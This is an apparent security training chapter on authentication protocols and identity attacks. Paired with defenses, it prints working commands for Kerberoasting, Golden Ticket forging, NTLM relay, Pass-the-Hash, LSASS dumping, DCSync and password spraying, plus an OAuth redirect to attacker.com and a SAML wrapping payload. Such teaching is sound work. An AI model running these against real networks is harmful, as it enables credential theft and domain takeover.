Skip to main content

Chapter 1.4 Authentication Protocols & Identity Attacks

Module 1: Foundations & Threat Landscape Level: Intermediate to Advanced | Estimated reading time: 60-75 min


Table of Contents

  1. Authentication Fundamentals
  2. Kerberos The Backbone of Windows Authentication
  3. NTLM Legacy But Everywhere
  4. LDAP & Active Directory Authentication
  5. OAuth 2.0 & OpenID Connect
  6. SAML Enterprise Federation
  7. Multi-Factor Authentication Mechanisms & Bypasses
  8. Identity Attack Playbook
  9. Architecture Diagram

1. Authentication Fundamentals

Authentication answers: who are you? It must be distinguished from two related concepts:

ConceptQuestionExample
Authentication (AuthN)Who are you?Username + password, certificate, biometric
Authorization (AuthZ)What can you do?RBAC, ACLs, IAM policies
AccountingWhat did you do?Audit logs, SIEM events

Authentication Factors

FactorCategoryExamplesWeakness
Password / PINSomething you knowStatic password, passphrasePhishable, brute-forceable, reusable
OTP / TOTPSomething you know (dynamic)Google Authenticator, TOTP codesReal-time phishing (AiTM), SIM swap
Hardware tokenSomething you haveYubiKey, RSA SecurIDLoss, theft
Smart card / PIVSomething you have + knowCAC card + PINLoss + PIN exposure
BiometricSomething you areFingerprint, FaceIDIrrevocable if compromised, spoofable
Location / NetworkSomewhere you areIP allowlist, geolocationVPN bypass, IP spoofing
BehaviorSomething you doKeystroke dynamics, mouse movementImmature technology

A common misconception: SMS OTP is "something you have" but is widely considered broken due to SIM swapping, SS7 attacks, and real-time phishing. It is better than nothing but should not be considered strong MFA.

Password Security What Actually Works

# Check if a password is in a breach database (k-anonymity API)
# Sends only first 5 chars of SHA-1 hash password never leaves your system
PASSWORD="SecurePassword123"
HASH=$(echo -n "$PASSWORD" | sha1sum | tr '[:lower:]' '[:upper:]' | awk '{print $1}')
PREFIX="${HASH:0:5}"
SUFFIX="${HASH:5}"

curl -s "https://api.pwnedpasswords.com/range/$PREFIX" | grep -i "$SUFFIX"
# If output shows a count (e.g. "...SUFFIX:4834"), password is in breach DB

# Check password entropy (Python)
python3 -c "
import math, string

def password_entropy(password):
charset = 0
if any(c in string.ascii_lowercase for c in password): charset += 26
if any(c in string.ascii_uppercase for c in password): charset += 26
if any(c in string.digits for c in password): charset += 10
if any(c in string.punctuation for c in password): charset += 32
entropy = len(password) * math.log2(charset) if charset else 0
return entropy

tests = ['password', 'P@ssw0rd', 'correct-horse-battery-staple', 'xK9mN2pQr7vL8w']
for p in tests:
e = password_entropy(p)
strength = 'WEAK' if e < 50 else 'OK' if e < 70 else 'STRONG' if e < 90 else 'VERY STRONG'
print(f'{p:35s} {e:5.1f} bits {strength}')
"

2. Kerberos The Backbone of Windows Authentication

Kerberos is the default authentication protocol for Active Directory environments. It is a ticket-based system that allows clients to prove their identity to services without sending passwords over the network.

2.1 Kerberos Components

ComponentRole
KDC (Key Distribution Center)The trusted third party runs on the Domain Controller
AS (Authentication Service)Issues Ticket Granting Tickets (TGTs)
TGS (Ticket Granting Service)Issues Service Tickets (ST) for specific services
TGT (Ticket Granting Ticket)Proof of identity used to request service tickets
Service Ticket (ST)Access token for a specific service (e.g., file server)
SPN (Service Principal Name)Unique identifier for a service instance

2.2 Kerberos Authentication Flow

Critical insight for attackers: In Step 4, the service ticket is encrypted with the service account's password hash. Any domain user can request a service ticket for any SPN. This is the foundation of Kerberoasting.

2.3 Kerberoasting (T1558.003)

Kerberoasting is an offline password cracking attack against service accounts. No special privileges required any authenticated domain user can perform it.

1. Enumerate SPNs in Active Directory (all service accounts)
2. Request service tickets for each SPN (legitimate Kerberos operation)
3. Extract TGS ticket from memory
4. Crack the ticket offline (encrypted with service account's NTLM hash)
5. Service accounts often have weak passwords + never expire
# Step 1: Enumerate all SPNs in the domain
# Using GetUserSPNs.py (Impacket)
python3 GetUserSPNs.py corp.local/user:Password123 -dc-ip 10.0.0.1

# Request all TGS tickets and save to file
python3 GetUserSPNs.py corp.local/user:Password123 \
-dc-ip 10.0.0.1 \
-request \
-outputfile kerberoast_hashes.txt

# Output format (hashcat -m 13100):
# $krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/db01.corp.com*$a1b2c3...

# Step 2: Crack offline with hashcat
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
--rules /usr/share/hashcat/rules/best64.rule

# Faster: use GPU with optimized rules
hashcat -m 13100 kerberoast_hashes.txt rockyou.txt -O \
--rules-file /usr/share/hashcat/rules/d3ad0ne.rule

# PowerShell on Windows (if you have domain access):
# Using PowerView
Import-Module PowerView
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash | Out-File -Encoding ASCII kerberoast.txt

Defending against Kerberoasting:

  • Service account passwords 25+ characters (makes cracking infeasible)
  • Use Group Managed Service Accounts (gMSA) 240-character automatically rotated passwords
  • Enable AES encryption for Kerberos (RC4 tickets crack faster RC4 = etype 23)
  • Monitor Event ID 4769 (TGS request) for high volumes from single source
# Check for RC4-encrypted service tickets (easier to crack than AES)
# In your SIEM, alert on:
# Event ID: 4769 (A Kerberos service ticket was requested)
# Ticket Encryption Type: 0x17 (RC4-HMAC) = bad, should be 0x12 (AES256)

# Audit SPNs with RC4 encryption
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName |
ForEach-Object {
$spns = $_.ServicePrincipalName
Write-Host "$($_.SamAccountName): $spns"
}

# Force AES encryption on service accounts
Set-ADUser svc_sql -KerberosEncryptionType AES256

2.4 Pass-the-Ticket (T1550.003)

If you can extract a valid TGT from memory, you can impersonate that user to any service.

# Extract Kerberos tickets from memory (requires SYSTEM/admin on target)
# Using Mimikatz:
sekurlsa::tickets /export # Dump all tickets to .kirbi files

# Using Rubeus:
Rubeus.exe dump /luid:0x3e4 /service:krbtgt # Dump TGT for specific logon

# Inject a stolen ticket into current session:
Rubeus.exe ptt /ticket:ticket.kirbi

# Verify ticket was injected:
klist # Windows built-in, shows current Kerberos tickets

# Now access resources as the stolen identity:
dir \\dc01.corp.com\C$

2.5 Golden Ticket Attack

The ultimate Kerberos attack. If you obtain the krbtgt account's NTLM hash, you can forge TGTs for any user, including non-existent accounts, with any group membership, valid for any duration.

# Requires: krbtgt hash + domain SID
# Obtain krbtgt hash (requires DC access / DCSync):
python3 secretsdump.py corp.local/admin:Password123@10.0.0.1 \
-just-dc-user krbtgt

# Domain SID:
python3 lookupsid.py corp.local/admin:Password123@10.0.0.1

# Forge Golden Ticket with Mimikatz:
kerberos::golden \
/user:Administrator \
/domain:corp.local \
/sid:S-1-5-21-123456789-987654321-111111111 \
/krbtgt:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 \
/groups:512 \
/ticket:golden.kirbi

# Use the ticket:
kerberos::ptt golden.kirbi

# Golden tickets persist even after password resets the krbtgt hash must be
# rotated TWICE (each rotation invalidates tickets signed by the previous hash)

3. NTLM Legacy But Everywhere

NTLM (NT LAN Manager) is a challenge-response authentication protocol. It is older than Kerberos, weaker, but still widely deployed because it works without a KDC (useful in workgroup environments and for IP-based authentication).

3.1 NTLMv2 Authentication Flow

The NTLMv2 response is what's captured in relay and capture attacks.

3.2 NTLM Relay Attack (T1557.001)

The most impactful NTLM attack. NTLM has no mutual authentication by default the client never verifies the server's identity. An attacker can relay NTLM authentication to any service that accepts NTLM.

# Setup: enable Responder to poison LLMNR/NBT-NS (capture NTLMv2 hashes)
responder -I eth0 -rdwv

# In second terminal: run ntlmrelayx (Impacket)
python3 ntlmrelayx.py \
-t smb://10.0.0.1 \
-smb2support \
-l /tmp/loot

# Target a specific service (relay to LDAP for domain enumeration)
python3 ntlmrelayx.py \
-t ldap://10.0.0.1 \
--delegate-access \
-smb2support

Defending against NTLM relay:

# 1. Enable SMB Signing on all hosts (prevents relay to SMB)
# GPO: Computer Configuration → Windows Settings → Security Settings →
# Local Policies → Security Options →
# "Microsoft network server: Digitally sign communications (always)" = Enabled

# 2. Disable LLMNR and NBT-NS (removes the poisoning vector)
# GPO: Computer Configuration → Administrative Templates →
# Network → DNS Client → "Turn off multicast name resolution" = Enabled

# 3. Enable LDAP signing and channel binding
# GPO: Domain Controller Security Policy →
# "Domain controller: LDAP server signing requirements" = Require signing

# 4. Disable NTLMv1 entirely
# HKLM\SYSTEM\CurrentControlSet\Control\Lsa
# LmCompatibilityLevel = 5 (NTLMv2 only, refuse LM and NTLMv1)

# 5. Enable Extended Protection for Authentication (EPA) for LDAP/HTTP

3.3 Pass-the-Hash (T1550.002)

With an NTLM hash you can authenticate to any service that accepts NTLM you never need to crack the hash.

# Pass-the-Hash with smbclient (Impacket)
python3 smbclient.py corp.local/Administrator@10.0.0.1 \
-hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

# Remote command execution with PtH
python3 wmiexec.py corp.local/Administrator@10.0.0.1 \
-hashes :31d6cfe0d16ae931b73c59d7e0c089c0

# psexec.py with PtH
python3 psexec.py corp.local/Administrator@10.0.0.1 \
-hashes :31d6cfe0d16ae931b73c59d7e0c089c0

# Dump NTLM hashes from local SAM (requires SYSTEM)
python3 secretsdump.py -sam /tmp/sam -system /tmp/system LOCAL

# Mimikatz extract hashes from memory (LSASS)
privilege::debug
sekurlsa::logonpasswords

Mitigation: Enable Protected Users security group in AD members cannot authenticate with NTLM, only Kerberos. Also deploy Credential Guard (Windows 10+) to isolate LSASS credentials in a hypervisor-protected environment.


4. LDAP & Active Directory

LDAP (Lightweight Directory Access Protocol) is the query protocol for Active Directory. It exposes the entire AD structure to authenticated queries and sometimes to unauthenticated ones.

4.1 LDAP Enumeration

# Anonymous LDAP bind (misconfiguration  should be disabled)
ldapsearch -x \
-H ldap://10.0.0.1 \
-b "dc=corp,dc=local" \
"(objectClass=*)"

# Authenticated enumeration
ldapsearch -x \
-H ldap://10.0.0.1 \
-D "cn=user,dc=corp,dc=local" \
-w "Password123" \
-b "dc=corp,dc=local" \
"(objectClass=user)" \
sAMAccountName userPrincipalName memberOf

# Find all users with SPN set (Kerberoastable)
ldapsearch -x -H ldap://10.0.0.1 \
-D "user@corp.local" -w "Password123" \
-b "dc=corp,dc=local" \
"(&(objectClass=user)(servicePrincipalName=*))" \
sAMAccountName servicePrincipalName

# Find AS-REP roastable users (don't require Kerberos pre-auth)
ldapsearch -x -H ldap://10.0.0.1 \
-D "user@corp.local" -w "Password123" \
-b "dc=corp,dc=local" \
"(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" \
sAMAccountName

4.2 BloodHound Attack Path Analysis

BloodHound visualizes Active Directory as a graph database and finds attack paths from low-privilege users to Domain Admin.

# Collect AD data with SharpHound (run on domain-joined Windows machine)
SharpHound.exe -c All --zipfilename bloodhound_data.zip

# Or from Linux with bloodhound-python
pip3 install bloodhound
bloodhound-python -u user -p Password123 \
-d corp.local \
-ns 10.0.0.1 \
-c All \
--zip

# Start BloodHound
neo4j start
bloodhound &

# Cypher query: find shortest path from owned user to DA
MATCH p=shortestPath(
(u:User {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})
) RETURN p

4.3 AS-REP Roasting (T1558.004)

If a user account has Kerberos pre-authentication disabled, any attacker can request an AS-REP for that account without knowing the password. The response contains data encrypted with the user's password hash crackable offline.

# Find and exploit AS-REP roastable accounts (no creds needed)
python3 GetNPUsers.py corp.local/ \
-usersfile users.txt \
-no-pass \
-dc-ip 10.0.0.1 \
-format hashcat \
-outputfile asrep_hashes.txt

# Crack with hashcat (-m 18200 = Kerberos 5 AS-REP etype 23)
hashcat -m 18200 asrep_hashes.txt rockyou.txt \
--rules /usr/share/hashcat/rules/best64.rule

# Defense: ensure ALL accounts have pre-auth required
Get-ADUser -Filter * -Properties DoesNotRequirePreAuth |
Where-Object {$_.DoesNotRequirePreAuth -eq $true} |
Select-Object SamAccountName

5. OAuth 2.0 & OpenID Connect

OAuth 2.0 is an authorization framework, not an authentication protocol. OpenID Connect (OIDC) adds an authentication layer on top of OAuth 2.0. Together they power most modern web app and API authentication.

5.1 OAuth 2.0 Flows

FlowWhen to UseSecurity Level
Authorization Code + PKCEWeb apps, mobile appsHigh recommended
Client CredentialsServer-to-server (no user)High no user interaction
Implicit (deprecated)Legacy SPAsLow tokens in URL fragment
Device CodeSmart TVs, CLI toolsMedium
Resource Owner PasswordLegacy avoidLow exposes credentials to app

5.2 OAuth Attack Surface

Open Redirect in redirect_uri:

# If redirect_uri validation is weak, attacker can steal auth code
# Crafted URL sends auth code to attacker
https://auth.target.com/authorize?
client_id=app123&
response_type=code&
redirect_uri=https://attacker.com/callback&
scope=email&
state=abc

# Defenses:
# - Exact match validation (not prefix/subdomain match)
# - Allowlist redirect_uris at registration time

CSRF on redirect_uri (state parameter missing):

# The 'state' parameter is a CSRF token  must be validated
def oauth_callback(request):
returned_state = request.args.get('state')
stored_state = session.get('oauth_state')

if not returned_state or not hmac.compare_digest(returned_state, stored_state):
abort(403, "CSRF detected state mismatch")

code = request.args.get('code')
exchange_code_for_token(code)

Token leakage via Referer header:

# If access_token appears in URL (Implicit flow or misuse of Authorization Code)
GET /external-link HTTP/1.1
Referer: https://app.com/dashboard?token=eyJhbGci... ← token leaked

# Fix: use Authorization header, never URL parameters
# Authorization: Bearer eyJhbGci...

6. SAML Enterprise Federation

SAML (Security Assertion Markup Language) is an XML-based SSO protocol used in enterprise environments. A user authenticates once to an Identity Provider (IdP) and accesses multiple Service Providers (SPs) without re-authenticating.

6.1 SAML Flow

6.2 SAML Attack Techniques

XML Signature Wrapping (XSW):

The most impactful SAML vulnerability. The signature validates the content it covers, but the application may process a different XML element than the one that was signed.

<!-- Legitimate SAML Response (signed) -->
<samlp:Response>
<saml:Assertion ID="id1">
<saml:Subject>
<saml:NameID>user@corp.com</saml:NameID>
</saml:Subject>
</saml:Assertion>
<ds:Signature>
<ds:SignedInfo>
<ds:Reference URI="#id1"/>
</ds:SignedInfo>
</ds:Signature>
</samlp:Response>

<!-- XSW Attack: inject unsigned assertion that app processes first -->
<samlp:Response>
<saml:Assertion ID="evil">
<saml:Subject>
<saml:NameID>admin@corp.com</saml:NameID>
</saml:Subject>
</saml:Assertion>
<saml:Assertion ID="id1">
<saml:Subject>
<saml:NameID>user@corp.com</saml:NameID>
</saml:Subject>
</saml:Assertion>
<ds:Signature>
<ds:Reference URI="#id1"/>
</ds:Signature>
</samlp:Response>
<!-- Signature verification PASSES app sees admin@corp.com -->

7. Multi-Factor Authentication Mechanisms & Bypasses

7.1 MFA Types Comparative Analysis

TypeProtocolPhish-ResistantImplementation
SMS OTPOut-of-bandNo real-time phishing, SS7Avoid
TOTP (RFC 6238)HMAC-based time OTPNo real-time phishingAcceptable
HOTP (RFC 4226)Counter-based OTPNoAcceptable
Push notificationProprietaryNo MFA fatigueAcceptable
FIDO2 / WebAuthnCTAP2Yes origin-boundRecommended
Hardware token (TOTP)HMACNo real-time phishingGood
PIV/Smart cardPKIYes certificate-boundBest for enterprise

7.2 MFA Bypass Techniques

Technique 1 Adversary-in-the-Middle (AiTM) Phishing:

Modern phishing frameworks (Evilginx2, Modlishka) act as a reverse proxy. The victim authenticates to a real site through the attacker's proxy. The attacker captures the session cookie after MFA bypassing MFA entirely.

# Detection:
# 1. Impossible travel: user logs in from Paris, 5 minutes later cookie used in Russia
# 2. Token replay: same session token used from two different IPs/User-Agents
# 3. Conditional Access Policies: require compliant device (Intune-managed)
# AiTM can't provide a compliant device assertion

# Azure AD / Entra ID: enable Conditional Access with device compliance
# This is the primary defense session cookies from compliant devices can't be replayed

Technique 2 MFA Fatigue / Push Bombing:

Attack:
1. Attacker obtains valid credentials (phishing, breach, brute force)
2. Attacker triggers MFA push repeatedly (automated, 50-100 requests)
3. Victim receives constant push notifications
4. At 2am or after many attempts, victim approves to stop the noise

Notable example: Uber 2022 breach used this exact technique

Defenses:
- Enable "Number matching" in Microsoft Authenticator / Duo
- Enable "Additional context" shows app name + location of sign-in attempt
- Rate limit push notifications (max N per hour per user)
- Alert on: >3 MFA push requests in 5 minutes for same user
- Switch to FIDO2/passkeys (no push at all)

7.3 FIDO2 / WebAuthn Phishing-Resistant MFA

FIDO2 is the gold standard for phishing-resistant authentication. The authenticator (YubiKey, Windows Hello, phone) cryptographically binds credentials to the origin a credential for mybank.com cannot be used on myb4nk.com.

// WebAuthn authentication (browser JavaScript)
const assertion = await navigator.credentials.get({
publicKey: {
challenge: serverChallenge,
rpId: "mybank.com",
allowCredentials: [{
type: "public-key",
id: credentialId
}],
userVerification: "required"
}
});

// Send assertion to server for verification
const response = await fetch('/auth/verify', {
method: 'POST',
body: JSON.stringify({
id: assertion.id,
response: {
clientDataJSON: btoa(String.fromCharCode(...new Uint8Array(assertion.response.clientDataJSON))),
authenticatorData: btoa(String.fromCharCode(...new Uint8Array(assertion.response.authenticatorData))),
signature: btoa(String.fromCharCode(...new Uint8Array(assertion.response.signature)))
}
})
});

8. Identity Attack Playbook

8.1 Password Spraying (T1110.003)

Unlike brute force (many passwords against one account), spraying tries one password against many accounts avoiding lockout thresholds.

# Password spraying against Office 365
python3 MSOLSpray.py \
--userlist users.txt \
--password "Welcome2024!" \
--verbose

# kerbrute: fast Kerberos-based user enumeration + spray
kerbrute userenum \
--dc 10.0.0.1 \
-d corp.local \
usernames.txt

kerbrute passwordspray \
--dc 10.0.0.1 \
-d corp.local \
users.txt "Password2024!"

# Detection:
# Look for: many 4625 (failed logon) events distributed across accounts
# Alert: >10 failed logons across >5 distinct accounts within 5 minutes from single source

8.2 DCSync Attack (T1003.006)

DCSync mimics the behavior of a Domain Controller to request credential replication obtaining all NTLM hashes and Kerberos keys from the domain.

# Requires: replication rights (usually DA, Enterprise Admin, or explicitly granted)
python3 secretsdump.py corp.local/admin:Password123@10.0.0.1 \
-just-dc \
-output-file dcsync_hashes.txt

# With Mimikatz:
lsadump::dcsync /domain:corp.local /user:krbtgt
lsadump::dcsync /domain:corp.local /all /csv

# Detection:
# Event ID 4662: Operation performed on object (DS-Replication-Get-Changes-All)
# Source: non-DC machine performing replication request
# Alert: replication request from IP that is not a known DC IP

8.3 Complete Identity Attack Chain


9. Architecture Diagram